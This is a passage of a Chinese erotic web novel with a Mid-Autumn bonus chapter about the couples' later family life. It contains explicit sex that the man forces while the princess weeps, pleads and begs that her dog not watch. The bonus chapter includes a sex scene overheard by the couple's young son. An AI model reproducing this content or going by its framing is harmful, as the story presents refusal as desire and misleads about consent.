“啧……这奶子可真香……”男人伏在她胸前,吃奶一般的啧啧有声,还不忘用言语,来挑战她承受的底线,“如若能吸出奶水来……那便更好了……嗯……再吃用力一点,是不是可以吃到呢?”

“啊呀……”她被他陡然的重重一吸一咬,吮得周身骨头都软了,羞人的调情,更令她面色绯红,身子如煮熟的虾米一般蜷缩了起来,“不要……不可以……”

“有何不可?”男人胯间阳具又已悄然挺立,隔著布料顶进她腿缝中去,意有所指地轻轻抽撤,“连这小穴都让我操了无数次了,这奶子还吃不得?”美文社

他将她另一只软乳也掏了出来,让两只雪嫩白皙的奶儿齐整整的翘立眼前,轻轻弹弹那小乳尖,引发整只奶儿都摇摇晃晃,简直诱人发狂。

“唔……啊……”

饶是听了这种话也有无数次了,凤幽夜依旧是羞愤欲死。只恨自己无力反抗,任那男人一次又一次地抹杀她的尊严;更恨自己身子淫荡,每每让他随意一轻薄,就失了魂魄一般,任他搓扁揉圆。

“你说,这奶子生得这般漂亮……”男人直起了身子,凤眸微挑,居高临下地逼问道,“是给谁吃的呢?”

凤幽夜哪里肯答,咬著唇死也不肯放开。

“真是倔啊……”男人眉梢轻扬,长长的银发瞬间无风自动,翩然飞舞,“明明是个勾引人的妖精,却非要装出一副高贵的纯情模样。”

他说这话的时候,语气一点都不像是嬉笑调情,而更像是诉说笃定的事实一般,俨然打心眼里认定了她的放荡……

女人红了眼睛,硬起头皮反驳他的嘲讽:“那你还碰我做什麽?只会脏了城主大人您的手!”

在他面前,她从来都是战战兢兢,唯恐自己做得不好,也从来不敢妄自菲薄,怕自己连最後那丝尊严都被卸去。然而时至今夜,没有了那一纸婚姻的约束,她反而觉得轻松了许多。就算再被他玩弄,也不过今夜的事了。明日之後,她便能脱离这种依附於男人的日子,开始真正的新生。

“哦?”赤宁城主不置可否地微微勾了一下嘴角,整个人压了下来,俊脸对著她的小脸,硬实胸膛贴著她柔软的胸,腰腹更是顶著她纤细的小腰,令她无处可逃,“只要是我喜欢的东西,脏一点也无妨。”

“……”她含著泪凝望他俊秀容颜,半晌,喃喃念道,“宁徽玉……”

千言万语只融汇在了这一声里。宁徽玉,我们,好聚好散,不行麽?

“都没有在门板上做过,兴许别有一番滋味,今夜定要试上一试……”男人仿佛没有读懂她眼中诀别的意味,动手轻巧一扯,令两人的下身亲密无间,“你说呢,我的公主?”

“……”他的意思是今夜必须让他尽兴,除了用嘴巴伺候他还不够,还得把他想玩的都陪他玩一遍……是这样麽?

瘦小的女人双腿都在打颤,却还是无可奈何地闭上了眼睛。

她的忍耐力总在他的面前发挥最大限度。

“乖,把腿打开……”欢爱的时候他并不吝啬偶尔的温柔,总是半哄半迫,每次都能成功让她做出一些羞煞人的事情来。

这次也不例外。

中州公主犹疑著,微微分开了紧闭的双腿,男人趁势将她一条细瘦的腿儿抓了起来,高高地举起,露出下面诱人的粉穴来。

她难堪地啜泣,却还是咬著唇接受了男人这“最後一夜”的求欢。

“真乖……”她的妥协显然取悦了他。拨开她湿润的花瓣,男人腰部一沈,将胀大的器官送进了她腿间的小洞里去。

“啊……”她有些疼,小手抓著他的手臂,努力放松花穴将他容纳进去──经过了这些日子,她被他调教出的最大成果,便是知道了如何在欢爱时不让自己难受……

“再放松一点,让我进去。”今夜她的“主动”格外令他兴奋,在她嘴里射了一次还远不够,此刻阳物又涨到了极点,如铁的肉棒硬塞进她指缝宽的小穴里去,破开那层层的嫩肉褶皱,滋味十足销魂。

“啊……呀!”他兴奋起来不管不顾地硬插到了底,大半根都塞了进去。站立的姿势下,这一击的威力尤其的猛,瘦小的女子发出破碎的吟哦,甜腻入骨。她的背被重重地撞在了门板上,单薄的背脊有了支撑,却仍挡不住男人渐起的攻势。

“操了你这麽多次,这小淫穴怎麽还是这麽紧啊……嗯,高贵的公主?”男人慢慢撤退,带出她里面恋恋不舍的嫩肉,再重重地深插进去,操得她樱唇半启,娇吟连连。

咯吱、咯吱、咯吱……

回答他的,除了女人娇弱的喘息,便只余下两人身後门板发出的,类似床板摇晃的声响。那频率由慢渐快,门板随之承受的“分量”亦由弱渐强。女人避无可避,一次又一次,被男人打桩一般钉在门板上。

“啊、啊、啊……呀啊、啊……”凤幽夜只觉後背和臀部都被撞得生疼,花穴更被他插得火辣辣的,然而微痛中涌来的更多饱胀感和被征服感,却令她如猫儿般不停地轻声呜咽,不知是难过还是舒爽。

“舒服麽?是不是想我天天这麽操你,操到你再也没有心思去想别的任何人、任何事?!”男人这番话说得极快,下身飞快抽送间,不自觉运上了气。在她面前他从来不用任何武功,此刻却发了狂般,卯著劲地操她!

“宁……徽玉……啊呃……呀啊啊……”她哪里受过这般鞭挞,只能哀哀地唤他的名,来减缓那感官上极致的冲击。

“喜欢麽?被我操的感觉?让你再也想不起其他人,以後更不会,为了一条畜牲就来忤逆我,是不是,嗯?”

闻言,凤幽夜才像是想起了什麽。

一直被他压在门板上,娇小的身子完全被覆盖住了,然而侧过脸,还是能看见三步开外乖乖趴在那里的小白狗,正用水汪汪的黑眼睛,一眨不眨地看著她。

“呀!”她被吓坏了。

“啊……”女人在刺激之下紧缩花穴,死死吸住了男人坚硬的长棍,男人快慰地呻吟出声,愈发笃定自己的做法是正确的──

经过了这般刺激,这害羞的小女人以後见著了那条该死的色狗,只会想到被他狠狠侵犯的画面……看她是否还有脸皮去搂抱它!

“不要!放开我……”女人果然羞愧难当,难堪地埋下脸去,“求你……不要这样……不要让它看见……”

“为什麽不要?你不是很喜欢它麽?”他怎肯轻易放过她。

“不……雪团……”她想叫雪团不要看,却什麽也说不出口。在一只天真的小动物面前做出这样恬不知耻的事情来,她实在是没有办法替自己找借口掩饰。

“被它看著是不是会更兴奋?”男人恶劣地将她被举起的那条腿儿抬得更高,令两人结合的部位完全暴露出来,“它在看著呢,看我是怎麽干你这张会流水的小嘴的……”

番外

中秋奉献──无责任特别番外(修改)

故事发生在楚哥哥和小离、凤同学和无痕、以及宁某人和小幽幽各自HE之後……

N年後的中秋节。

中秋夜,一轮皓月高居夜空,圆满至极的轮盘形状,散发出皎洁的明亮光芒,将天地都映得辉煌生彩……

某处庭园。

“娘,痕姨怎麽还没到呀?”楚映雪皱著一张粉嫩的小脸,仰头望著自家娘亲美得让人流口水的容颜──娘亲长得太好看了!真是嫉妒老爹!

“痕姨她们远道而来,今晚能到你就该偷笑了!”念离捏捏儿子的小鼻子,望著他那双浅碧色的眸子,绝美的脸庞上挂著温柔的笑意──这个小家夥,跟他爹长得像,就连那双眼睛的特点也继承了,除了眸色稍浅之外,任谁都只需一眼便能看出是他爹的儿子……长大了一定也是个迷人的俊俏郎君。

“偷笑?为什麽我要偷笑……”小男孩睁著漂亮的眼睛,小脸微红──娘亲是老爹的,他只能自己再去找好看的女人啦……然後,刚好痕姨家那个小不点倒是长得很可爱……

“……我听说珑儿今晚可能不会来噢,你……”儿子在想什麽,她这个做娘的怎麽可能不知道,刚想多说两句逗逗这跟他爹一样别扭的孩子,不过──

“离儿……”清润的嗓音忽然在身後响起。

她蓦一回头,只见一白衣男子长身玉立,眉目如画,一头长长的银发迎风而舞……而他的身後,一美貌女子著一身绯红衣裙,雪肌云鬓,仪态雅洁。一白一红两人身边,还跟著一个小小的影子──青黛色的衣装衬得小小少年一副老成的样子,一张清秀至极的脸,明明看上去那麽干净青涩,一双承袭自父亲的微挑凤眼却透著仿若洞悉世事的早慧与冷淡……

这样的一家三口,看上去真是个奇妙的组合。

“宁……”念离轻轻开口,一时却又止住了,“哥哥”两个字含在了口中。毕竟已经不是当年无知少女的年纪了,在孩子面前再叫那麽“暧昧”的称呼好像早已不合时宜。

宁徽玉心下了然,淡然一笑。他身後的女子牵过孩子,来到念离面前含笑致意:“离妹妹,这是我家允墨,跟你们雪儿一般大吧?”

“墨儿都这麽大了……”念离看著小大人一般的宁允墨,心中暗叹一声不愧为宁徽玉的儿子,“一看就聪颖,比我家的小子生得好多了!”

那边厢大人们在寒暄,楚映雪心里却不爽得厉害──他最讨厌别人称他为“雪儿”了,偏偏大人都喜欢这麽叫……都怪他要出生在一个晴雪天,所以才有了这麽个文绉绉的名字,听上去还像女孩子!然後,娘亲竟然说人家的儿子生得比自己儿子好……真是太伤害他幼小的心灵了!

他不忿地瞪了那个宁什麽的一眼──哼,才几岁就装大人,有什麽好的?!

就在楚映雪吃著娘亲的醋的时候,忽闻一个嫩生生的嗓音说著:“爹爹再快一点,哇唔,珑儿骑大马……”

美丽的月色之下,一个身影算得上高大魁梧的英俊男子正驮著个小小的粉雕玉琢的女娃娃,俊颜上除了头发被小女娃揪住的无奈苦笑之外,还挂著一抹动人的温柔神色。

“我说孩子她娘,你也管管你女儿好不好?”凤无极回头看身後的无痕媚眼含笑,不禁向老婆表示委屈。

“凤无极,她是你女儿,当初是你要生的,不关我的事!”怀胎十月才辛苦生出来的小丫头,她却说得好像自己没份一样……

“如果不是你顾无痕生的好女儿,哪里有女人敢骑到我的头上?”哼,还想撇开责任?他凤无极怎麽就总被这一大一小两个女人欺负?

无痕忍住笑意瞪他一眼,故作冷漠地从他身边走过,换来男人更为哀怨的目光……

“无痕,我错了……我知道下次肯定不能生女儿啦!”他急忙带著女儿追上去拉住老婆的手。

死男人,最好就要再生个丫头气死他!

不著痕迹地轻抚自己的小腹,无痕暗忖。

“哥!”凤幽夜见到来人,难以掩饰的喜悦,再看他肩上坐了一个,身边牵了一个,倒也为这一家感到高兴。微微犹豫,还是唤声:“嫂……”

“诶,不要乱叫!”无痕将之打住,然後像发现什麽有趣的东西,眼睛一亮,话锋一转,“这是你家的孩子?啧啧,长得真像某人……”

她好奇地看看那少年老成的孩子,然後忽然又转头看看自家的小丫头,媚眼儿一亮,脱口而出:“跟我家小丫头倒是挺配!”

“噗……”正在偷酒喝的楚映雪刚好听到,一口酒液全都喷了出来。

凤吟珑那个小丫头,怎麽可能跟宁家的小子相配?!那他楚映雪怎麽办?

……

此时他的娘亲却未得闲替他思量争女人的法子──看著人家都是拖家带口,其乐融融,念离心里微微地有些涩然。

他,今日不会不回来了吧?

举头望著那轮明月……却不知,良人已在何方?

夜风微凉,拂过女子长长的浅金色秀发,那一头如织锦般的发在月色下显得更加梦幻……

“离儿……”占有性地环住美人儿纤细的腰身,高大俊美的黑衣男子长发飞转间已抱著妻子在偏亭中的石凳上落座。

他回来了!

念离心中一热──他的怀抱,永远那样宽厚而温柔,是她最信任的港湾……然而,顾及不远处还有客人,她也不好意思与他亲热,小脸带著惯有的羞赧,欲从他长腿上起身……

“不想我麽……”他在她敏感的耳洞里吹气,一面吐著语调暧昧的句子……

“君漠……”他抱得太紧,令她根本动弹不得。

她当然想他。出远门一去就是半个月,要不是中秋夜,他指不定仍未归家呢!

“离儿……我可想你,想死你了……”他先咬一下她洁白的耳垂,而後细碎地往下吻去,一路吻到了念离锁骨。

火热的激情瞬间就燃烧了起来!

念离早就被他调教得敏感之至的身子很快被这热情撩拨得软绵绵的,然而还是挣扎著想要从他怀中起来──虽然这样的亲密对多年的夫妻来说实不算什麽,但她太清楚这看似温柔的男人深藏的霸道……要是真的在这做了点什麽,那可真一发不可收拾了……

一想到孩子以及多年的老友们都在不远处,念离羞涩至极地小声抗议:“君漠,别这样……”

“别怎样?”男人抬起俊美至极的脸庞,一抹黑发滑落在琉璃般熠熠的眼睛上。

“雪儿他们在……唔……”话没说完,樱唇便被他火热的薄唇堵上了。

“唔……君漠,不要呀!”好不容易等他松开唇舌,却不想男人竟然直接动手剥她下身的衣物……

“离儿,我要你……”

“别……嗯啊!”

“放松点,别夹这麽紧……”

“嗯呃……好撑……啊……”

……

“臭爹爹!”楚映雪躲在偏亭外,听著父母暧昧的交合声,一边红著小脸,一边握紧小小的拳头──看来凤吟珑那个小丫头的事,得靠他自己了!

月色温柔。

“徽玉……”凤幽夜轻扯银发男子的衣袖。

秀美的温润男子回头,对著妻子相视一笑。握住她的手,长袍宽袖一起,另一只手遥指那轮皓月,淡淡地道:“真美……”

但愿人长久,千里共婵娟。